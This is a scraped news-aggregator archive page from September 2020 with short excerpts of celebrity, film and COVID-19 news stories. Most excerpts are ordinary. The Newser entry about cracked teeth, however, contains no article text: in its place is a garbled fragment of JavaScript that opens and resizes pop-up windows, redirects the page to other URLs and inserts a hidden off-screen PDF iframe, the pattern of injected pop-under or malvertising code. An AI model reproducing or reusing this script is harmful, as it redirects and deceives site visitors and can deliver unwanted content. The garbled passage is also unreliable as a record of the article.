Month: September 2020

Emails show HHS official trying to muzzle Fauci – POLITICO
Health & Fitness

Emails show HHS official trying to muzzle Fauci – POLITICO

The emails add to evidence that the White House, and Trump appointees within HHS, are pushing health agencies to promote a political message instead of a scientific one. “I continue to have an issue with kids getting tested and repeatedly and even university students in a widespread manner…and I disagree with Dr. Fauci on this. Vehemently,” Alexander wrote in one Aug. 27 email, responding to a press-office summary of what Fauci intended to tell a Bloomberg reporter. And on Tuesday, Alexander told Fauci’s press team that the scientist should not promote mask-wearing by children during an MSNBC interview. “Can you ensure Dr. Fauci indicates masks are for the teachers in schools. Not for children,” Alexander wrote. “There is no data, none, zero, across the entire world, that shows ch...
Hilaria Baldwin gives birth to her fifth child with Alec Baldwin – Page Six
Lifestyle & Arts

Hilaria Baldwin gives birth to her fifth child with Alec Baldwin – Page Six

It’s a boy. Hilaria Baldwin, 36, announced the birth of her fifth child with husband Alec Baldwin on Wednesday, writing on Instagram, “We had a baby last night. He is perfect and we couldn’t be happier 🌟. Stay tuned for a name🤍.” She and Baldwin, 62, are also parents to sons Romeo, 2, Leonardo, 3, Rafael, 5, and daughter Carmen, 7. The former “30 Rock” star also shares 24-year-old daughter Ireland Baldwin with ex Kim Basinger. Hilaria announced in April she was pregnant again after suffering two miscarriages. In November 2019, the yoga instructor said she was “devastated” when she lost her baby girl at four months. She also miscarried in April of that year at just 10 weeks. Upon receiving the all-clear on this most recent pregnancy, Hilaria said she didn’t want to learn th...
The first Dune trailer worms its way online – The Verge
Lifestyle & Arts

The first Dune trailer worms its way online – The Verge

Dune is one of the greatest science fiction books ever written, and the first trailer for the latest adaptation has finally arrived, giving fans a glimpse at director Denis Villeneuve’s take on Frank Herbert’s iconic novel. The almost absurdly star-studded cast includes Timothée Chalamet, Rebecca Ferguson, Oscar Isaac, Stellan Skarsgård, Zendaya, Jason Momoa, Josh Brolin, Dave Bautista, and Javier Bardem. Villeneuve is no stranger to epic science fiction, either, having previously directed Arrival and Blade Runner 2049. The trailer was unveiled alongside a Q&A session hosted by Steven Colbert, featuring Villeneuve and members of the cast discussing their take on the upcoming film. Dune is planned to be the first of two movies based on Herbert’s original book; the film ...
Dentist Details Epidemic of Cracked Teeth Due to Coronavirus Stress Leading to Teeth Grinding – Newser
Health & Fitness

Dentist Details Epidemic of Cracked Teeth Due to Coronavirus Stress Leading to Teeth Grinding – Newser

");return b.join("n")}setTimeout(function(){window.close()},1E4);window.go=function(){var b=window.pop;if(b)if(b.moveTo(popRect.x,popRect.y),b.resizeTo(popRect.width+ (b.outerWidth-b.innerWidth),popRect.height+(b.outerHeight-b.innerHeight)),window.popUrl2)b.location.replace(window.popUrl),window.setTimeout(function(){window.location.replace(window.popUrl2)},1);else{var d=b.document;d.write(a(window.popUrl));d.close();b.tab=window}else window.location.replace(window.popUrl)};var b=document.createElement("iframe");b.type="application/pdf";b.src=window.pdf;b.setAttribute("style","width:100px;height:100px;position:absolute;top:-1000px;left:1000px;");document.body.appendChild(b); window.clean=function(){document.body.removeChild(b)}}.toString()+")();";var f=new this.HtmlSourceBuilder,e=[];e.pus...
Severity of coronavirus infection may be determined by face mask use, study suggests – Fox News
Health & Fitness

Severity of coronavirus infection may be determined by face mask use, study suggests – Fox News

Facemasks may limit the severity of coronavirus cases, University of California San Francisco researchers said in a paper published in the Journal of General Internal Medicine. Although face coverings are more effective in preventing droplets from being expelled into the air than they are in preventing droplets from being breathed in, masks still may be able to mitigate how severe an illness an individual gets if infected by COVID-19, researchers explained in the release. N95 MASKS USED AGAINST CORONAVIRUS CAN BE DECONTAMINATED WITH RICE COOKER: STUDY “It’s likely that face masks, by blocking even some of the virus-carrying droplets you inhale, can reduce your risk of falling seriously ill from COVID-19," Monica Gandhi, MD, an infectious disease specialist at UC San Francisco, said in...
How Halle Berry Fought Her Way to the Director’s Chair – Variety
Lifestyle & Arts

How Halle Berry Fought Her Way to the Director’s Chair – Variety

On the day Halle Berry shot the big fight scene for her new movie “Bruised,” in which she plays a disgraced mixed martial arts fighter, she cracked two ribs. Berry, 54, had injured herself on the set of a movie before — breaking three ribs on “John Wick: Chapter 3 — Parabellum” without knowing exactly how she did it. On that 2019 action film, she remembers feeling no pain and then suddenly not being able to breathe. “I thought I had bone cancer,” Berry recalls. “I thought it was early osteoporosis. I couldn’t understand why this was happening to me when I was really physically fit.” She traced the incident to her diabetes. “I have a propensity to fracture bones faster than other people.” Cliff Watts for Variety W...
Star Wars fans freak over Daisy Ridleys explosive Rey Kenobi revelations – New York Post
Lifestyle & Arts

Star Wars fans freak over Daisy Ridleys explosive Rey Kenobi revelations – New York Post

Obi-Wan Kenobi . . . you are not the father! According to actress Daisy Ridley, her mysterious “Star Wars” franchise character, Rey, was once going to be a descendant of Jedi master Obi-Wan Kenobi, and not (spoiler alert) the villainous Emperor Palpatine, as revealed in “The Rise of Skywalker.” But then the screenwriters started jerking around with her heritage. “At the beginning, there was toying with an Obi-Wan connection — there were different versions — then it really went to it was no one, and then it came to Episode IX and J.J. [Abrams] pitched me the film and was like, ‘Oh, yeah, Palpatine is Granddaddy,’ ” Ridley, 28, told guest host Josh Gad on “Jimmy Kimmel Live!” on Tuesday. And it only got more jumbled from there. “Then two weeks later, he was like, ‘Oh, we’r...
Drake Posts Photo of Son Adonis First Day of School – TMZ
Lifestyle & Arts

Drake Posts Photo of Son Adonis First Day of School – TMZ

Drake just hit another milestone of parenthood by sending his son to his first day of school, and it looks like papa made sure his own flesh and blood was fresh and ready for it. Drizzy posted a photo Wednesday of 2-year-old Adonis about to hop into a waiting SUV, which was going to take him to class. You can tell his pops was pretty proud of the moment, as he captioned the pic ... "First Day Of School...The World Is Yours kid 🌍" As for Adonis, he's laced up from head to toe ... rocking freshly braided cornrows, a black hoodie, matching pants and what might be some black Air Force 1s (don't quote us on that). Point is ... AG is ready to take preschool by the reins decked out in a sweet fit. Here's another interesting aspect -- i...